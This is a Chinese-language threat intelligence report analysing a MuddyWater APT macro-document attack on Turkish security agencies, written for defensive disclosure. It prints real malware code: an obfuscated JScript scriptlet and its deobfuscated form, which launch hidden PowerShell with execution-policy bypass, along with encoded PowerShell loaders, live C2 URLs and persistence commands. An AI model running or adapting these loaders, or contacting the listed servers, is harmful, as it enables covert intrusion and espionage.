MuddyWater(污水)APT组织针对土耳其安全部门的定向攻击

2018-07-27 16:16:54
近日腾讯御见威胁情报中心再次捕获到MuddyWater(污水) APT组织的一例攻击样本,与2018年3月份捕获到样本相比,本次攻击的的目标依然是土耳其。本次攻击时依然使用了宏文档进行载荷投递,宏文档中嵌入了一图标文件......

1、概况

         近日腾讯御见威胁情报中心再次捕获到MuddyWater(污水) APT组织的一例攻击样本,与20183月份捕获到样本相比,本次攻击的的目标依然是土耳其。本次攻击时依然使用了宏文档进行载荷投递,宏文档中嵌入了一图标文件,图标中的关键字为“mersin emniyet müdürlüğü”,通过搜索引擎查询发现这图标为土耳其安全局的图标,可以推测此次可能是一次针对土耳其安全相关部门的定向攻击。

在攻击技术方面,该组织全程使用的是经过多次高度混淆的powershell脚本,与上次相比一些关键的木马功能变为了通过云控下发powershell脚本来触发,这样极大地增加了安全机构的取证难度。在c2方面,不像上次那样奢侈地使用了517c2地址,本次只使用了3个。下面将对此次的攻击样本进行一次详细的分析。

(翻译结果)



(攻击流程图)

总结一下本次MuddyWater APT组织新样本的技术特点:

i. 攻击对象:土耳其安全部门,目的是接受云端控制,下载和释放后门,获取敏感信息;

ii. 使用多次高度混淆的PowerShell脚本;

iii. 一些关键的功能通过云控下发PowerShell脚本触发,行动极为隐蔽,难以捕捉;

iv. 本次捕获的样本只使用了3C2地址;

v. 脚本运行后,会设置开机自启动、解密c2、创建任务计划、获取计算机信息等,然后不断地访问c2,等待和执行新指令。

2、载荷投递

         宏文档中背景故意做得比较模糊,但土耳其安全局图标及启用宏的提示文字却异常鲜艳,这是一种典型的社会工程学式的攻击方式,目的是为了让受害者在好奇心的驱使下点击启动内容按钮,从而让藏在文档中的木马运行起来。

(诱饵文档内容)

         该诱饵文档中的vba脚本带有密码保护,当查看宏时会弹出输入密码的提示框,破解后我们拿到了高度混淆的vba脚本。


vba脚本)

vba中有4base64编码的字符串,经过解密后发现与释放在C:\ProgramData目录下的OneDrive.dllOnDrive.htmlOneDrive.ini中的内容一致。


vba释放出来的文件)

vba中的4base64编码如下所示:


(第1base64


(第2base64


(第3base64


(第4base64

3、RAT分析

OneDrive.html分析

此文件中的内容如下,看下去所上文的命令行“c:\windows\system32\rundll32.exe advpack.dll,LaunchINFSection C:\ProgramData\OneDrive.html,OneDrive,1,”类似,都是为了实现常驻功能的。


OneDrive.html中的内容)

OneDrive.dll分析

dll中内容为js脚本,内容如下所示。

<?xml version="1.0" encoding="utf-8"?>

<package>

  <component>

    <registration progid="y">

      <script language="JScript"><![CDATA[

var a=['wq3DhcOQw6A=','wr7CkMO7w5kVDUtTwr3DmwPCmQMcKC7CvcO/w6M0FmPCvcKtOMO8w4DCo8ONwp4Hw6RfFsOWPVJFw7EIwpA1B8Oxaglww4fDkmsEwphhSGNXNsOBw55owpFKwqfCuMK8wq8cwp7CnT/CghYBW8Kmw64DRWfCrcOcFSkVYMKYTFTDsT8aWUMlHXTCjMO4OhvDs0rCt0M1w7NIwrJMIBRMNmHDkwPDr8Otwo50w6tEBcKWwqNbwpIvSsOLwrpsw6tXfTLDgMO+wqPDiE0uwqlCIAHDlsOcP8O2woRrw7jCgsOnw5dnR8KAwpfDvQDCtcOaw6dbTnHDpcO1AcKXw6rCr07DmMOBDDtPwqpRBzHCqAUwWsOWw5gVMMK4QSleZHw8w7bDnMKjwoRRKExNZ8OhwqvDkMOVXcOYLcOkw4LDg8KLwqbDvzbDuAHCrA4Pw5lSKcK6ZRNrfHpGwr3DuhPDky07BMKRw41mwo9hw4PDn8KqAMOZIMOTZSUUw6JUwo7CgMOmwohqw7PDpsKeZwhywp7DoxQeXzN0wrXDnw8gw4MseTDCuHFTQzJYPEbCmMOMOjZGKsKaMlbCvcOlworCix/DkX3CpMKKNMKkw4PCpMK2wojCmw==','w53DoMKQIgTCqj7Cg8Oh','wrTDm3Q=','w6luw4jDkSXCksOnw4TDuW1bw4BVIsO2w6zChQrClnE=','X8K0NsO9woVWdDPDpQIqw7hUZg==','wpjCk0MpPsOWw73DmDVD','w7MnTlPCqcKYd8O1Bg==','w7zCrsOR','KXrDkcKffQZwdkl1eBx2','wqbCh8OIwofCtCU='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1c4));var b=function(c,d){c=c-0x0;var e=a[c];if(b['mtNPvA']===undefined){(function(){var f;try{var g=Function('return (function() '+'{}.constructor("return this")( )'+');');f=g();}catch(h){f=window;}var i='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';f['atob']||(f['atob']=function(j){var k=String(j)['replace'](/=+$/,'');for(var l=0x0,m,n,o=0x0,p='';n=k['charAt'](o++);~n&&(m=l%0x4?m*0x40+n:n,l++%0x4)?p+=String['fromCharCode'](0xff&m>>(-0x2*l&0x6)):0x0){n=i['indexOf'](n);}return p;});}());var q=function(r,s){var t=[],u=0x0,v,w='',x='';r=atob(r);for(var y=0x0,z=r['length'];y<z;y++){x+='%'+('00'+r['charCodeAt'](y)['toString'](0x10))['slice'](-0x2);}r=decodeURIComponent(x);for(var A=0x0;A<0x100;A++){t[A]=A;}for(A=0x0;A<0x100;A++){u=(u+t[A]+s['charCodeAt'](A%s['length']))%0x100;v=t[A];t[A]=t[u];t[u]=v;}A=0x0;u=0x0;for(var B=0x0;B<r['length'];B++){A=(A+0x1)%0x100;u=(u+t[A])%0x100;v=t[A];t[A]=t[u];t[u]=v;w+=String['fromCharCode'](r['charCodeAt'](B)^t[(t[A]+t[u])%0x100]);}return w;};b['yrYnwx']=q;b['VjLgMC']={};b['mtNPvA']=!![];}var C=b['VjLgMC'][c];if(C===undefined){if(b['LYvtJw']===undefined){b['LYvtJw']=!![];}e=b['yrYnwx'](e,d);b['VjLgMC'][c]=e;}else{e=C;}return e;};var cm=b('0x0','1(n^');var w32ps=GetObject(b('0x1','@#1j'))[b('0x2','rZ%W')](b('0x3','CaVK'));w32ps[b('0x4','nOAS')]();w32ps[b('0x5','2*bW')]=0x0;var rtrnCode=GetObject(b('0x6','mISm'))[b('0x7','5Kh]')](b('0x8','q!&J'))[b('0x9','r@qO')](cm,b('0xa','1(n^'),w32ps,null);

           ]]></script>

    </registration>

  </component>

</package>

OneDrve.dll中的代码精简后变成如下所示,作用是利用powershell执行OneDrive.ini中的加密代码。

var cm='powershell.exe -exec Bypass -c $s=(get-content C:\\ProgramData\\OneDrive.ini);$d = @();$v = 0;$c = 0;while($c -ne $s.length){$v=($v*52)+([Int32][char]$s[$c]-40);if((($c+1)%3) -eq 0){while($v -ne 0){$vv=$v%256;if($vv -gt 0){$d+=[char][Int32]$vv}$v=[Int32]($v/256)}}$c+=1;};[array]::Reverse($d);iex([String]::Join('',$d));'

                    var w32ps = GetObject('winmgmts:')['Get']('Win32_ProcessStartup');

                                               w32ps['SpawnInstance_']();

                                               w32ps['ShowWindow'] = 0x0;

                    var rtrnCode = GetObject('winmgmts:')['Get']()['Win32_Process'](cm,'c:\\' , w32ps, null);

OneDrive.ini分析

OneDrive.ini中内容解密出来后如下所示,为一段powershell脚本。

iex $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('rTxpU+PIkp+ZiPkP9SbmNfaAPTYN9EAHsc82lznMYc4m2AlZLttqhGQk2WAI5rdvZp1ZsujejdiOBmSpKu+rskr+fS07nWyx3

8qsvPj74vLiqtdbLO20GuHpTlItb3y+P2+M/Lv7vU5wnnXvlsu1L/LOUr1WV1ef9a0NdVGyAFY2cgAWx8O9XYJh8ddffv2FAfbVlfp9sri06O3j6Kh9fpEiujrcxVtLq4APHssPa2vybqnENaDVz/KWmbvL2yfrpwn+saPwE1KAf5cBHP4N2mM7CO7huPWNAmj1jbYLbSOHEyYDyWua4i/q4q8vc9Suq5kwwzK7oZAuf

VlXF+vrczORgncU2juDf3jBh14KcFJ+XI3iIBvDNfdfdqp/+60my9J4VOFZkDwz9Q+nvI1gkJ95Pt6ASwfeOx0J7Hxmj5PH4MU7rrDa2or4EAXw4THuR955JeN7JTbmPOxWMiHtJfzlZV1G/sEtQCMfCQIQK09DzhxsGrkBY6fbuT8jyQw+r5hLIFJcK5VrguFjluRINTJiLn1z4qE3+wEKewvgsX4QboZeb5fDB4U9D

of4uOCfQFSGkSsHncMT+MWeeIUNZ6NBwmFKaRAgSKbU5EpDwKeiQmBmKivP+AMSopAvMYC+1Q8+pdxMSbb4eIYy+JRuDT4h9iWWmadiFmLFidl/ycdhMrFAS2xvt9nyh8OJJWNLUE+5R3Lgk+B/YWFBOHxOBHnzKFs2BN2bBrykQoi7lEcqJxRIGAVsQZZSns2aYBFVpLHd6jbg7+bm/TAK+rEf7VSzF35RfeRZOuvel

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fPPv/71zz+CvSAcpxWNiyDNsVZj2VAp56gqB5WY4kXSJ2xauTfcAWfEcG6d3FASfIIH/Ucf/dw69qeVoXV3O826OExyvJzqY+/8Qji8ot/cb0rPLpeVx8QX1eR1OpSuX3KjkZ0kUZvPMBZDFJ8GoSAZPtPQRGmVMXM+IlGXMdFpiyUDD+71fNcchYJ//UUSCqbTs7OFZ4MKEi/J1p5eEYQaRQNL+R2zLCRpqHHe2L9ZN

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3GT1galD+tDdBYdf6WVwA0hdyuJH1oMjeaacBH+TL0In6Ra4CJvTJYJG5WHFCQNyeK+Mjs1nEYE1yulZGzApiPngrfQhYgicFUQtilfJoSb+E3D9wcqep+LGSIVocX9wNBgjGNh1rwILGVh1rAq1GexLHLEIsb3Um/6waqBCrmjMnQ8iAI3jhg2fxxQqCZzSwjhptaliVXMiZBSjEYElj7lvlpmCAs0/hPyUw8r556NL

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l/311/+Bw==')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();


onedrive.ini中的powershell脚本先解压一段base64编码的脚本,然后再执行此脚本,解压后的powershell脚本如下所示(代码太长,只截取了部分),经过了好几层的高度混淆。


OneDriver.ini中的powershell脚本经过多次去混淆后,最终会得到powershell版的后门木马。


(最终的后门脚本)

后门木马功能分析

脚本运行后,会设置开机自启动、解密c2、创建任务计划、获取计算机信息等,然后不断地访问c2,等待和执行指令。


(脚本入口)


(禁用office安全项)


(开机自启动及任务计划)


(获取得计算机信息)


(将计算机信息的md5值当key


(解密c2


http post


post的内容)



(请求服务器下发指令)

由于服务器返回的数据异常,后续只能通过阅读源码的方式分析部分功能。


(服务器返回的异常数据)

命令字:upload的功能其实是为了下载文件


命令字:cmd,主要是为了执行cmd命令


命令字:b64,其实是为了执行base64编码的powershell 脚本


命令字:muddy 主要功能是先把powershell脚本下载并存储到c:\programdata\LSASS 文件中,再执行此文件中的脚本。下文图中的base64解码后为“-exec Bypass -c $s=(get-content c:\programdata\LSASS);$d = @();$v = 0;$c = 0;while($c -ne $s.length){$v=($v*52)+([Int32][char]$s[$c]-40);if((($c+1)%3) -eq 0){while($v -ne 0){$vv=$v%256;if($vv -gt 0){$d+=[char][Int32]$vv}$v=[Int32]($v/256)}}$c+=1;};[array]::Reverse($d);iex([String]::Join('',$d));”

4、总结

         MuddyWater组织近段时间的攻击活动来看,该组织一直喜欢用宏文档加powershell脚本的攻击手法。从本次的攻击样本来看,该组织依然手握大量的攻陷网站,用来进行诱饵的投递及胜利果实的回收,同时将真正核心的代码功能以云控的方式进行下发,以便掩盖其攻击目的。因此,我们提醒政府、企业等广大用户,切勿随意打开来历不明的文档,同时安装安全软件。对安全软件提醒发现陌生程序创建开机启动项,务必高度重视。

目前,腾讯御界高级威胁检测系统已经可以检测并阻断该轮攻击的连接行为。御界高级威胁检测系统,是基于腾讯反病毒实验室的安全能力、依托腾讯在云和端的海量数据,研发出的独特威胁情报和恶意检测模型系统。

凭借基于行为的防护和智能模型两大核心能力,御界高级威胁检测系统可高效检测未知威胁,并通过对企业内外网边界处网络流量的分析,感知漏洞的利用和攻击。通过部署御界高级威胁检测系统,及时感知恶意流量,检测钓鱼网址和远控服务器地址在企业网络中的访问情况,保护企业网络安全。


5、IOCs

Md5:

5a42a712e3b3cfa1db32d9e3d832f8f1(doc)

6f1e84905f8d15269892026c0ab8d9a7(OneDrive.dll)

5a5b32e1ea053d5f76065cabe7e46851(OneDrive.html)

b96a0a71566a766589ba3c891f86ca3f(OneDrive.ini)

C2:

http://ektamservis.com/includes/main.php

http://www.cankayasrc.com/style/js/main.php

http://gtme.ae/font-awesome/css/main.php

开机自动项及任务计划:

HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Run :OneDrives(开机自启动项)

HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run: OneDrives(开机自启动项)

“c:\\windows\\system32\\rundll32.exe advpack.dll,LaunchINFSection C:\\ProgramData\\OneDrive.html,OneDrive,1” 开机自启动项内容)

MicrosoftOneDrive(任务计划项)

c:\\windows\\system32\\rundll32.exe advpack.dll,LaunchINFSection C:\\ProgramData\\OneDrive.html,Defender,1,”(任务计划内容)

MuddyWater(污水)APT组织以从事网络间谍活动为目的,受害者主要分布在巴基斯坦、沙特阿拉伯、阿联酋、伊拉克、土耳其等中东地区国家。

MuddyWater(污水)APT组织自201711月被曝光以来,擅长利用Powershell脚本作为后门程序频繁发起网络攻击,主要攻击目标集中在政府、金融、能源、电信等要害部门。

相关阅读:《近期“污水”(MuddyWaterAPT组织攻击活动汇总》

http://www.freebuf.com/articles/web/165061.html

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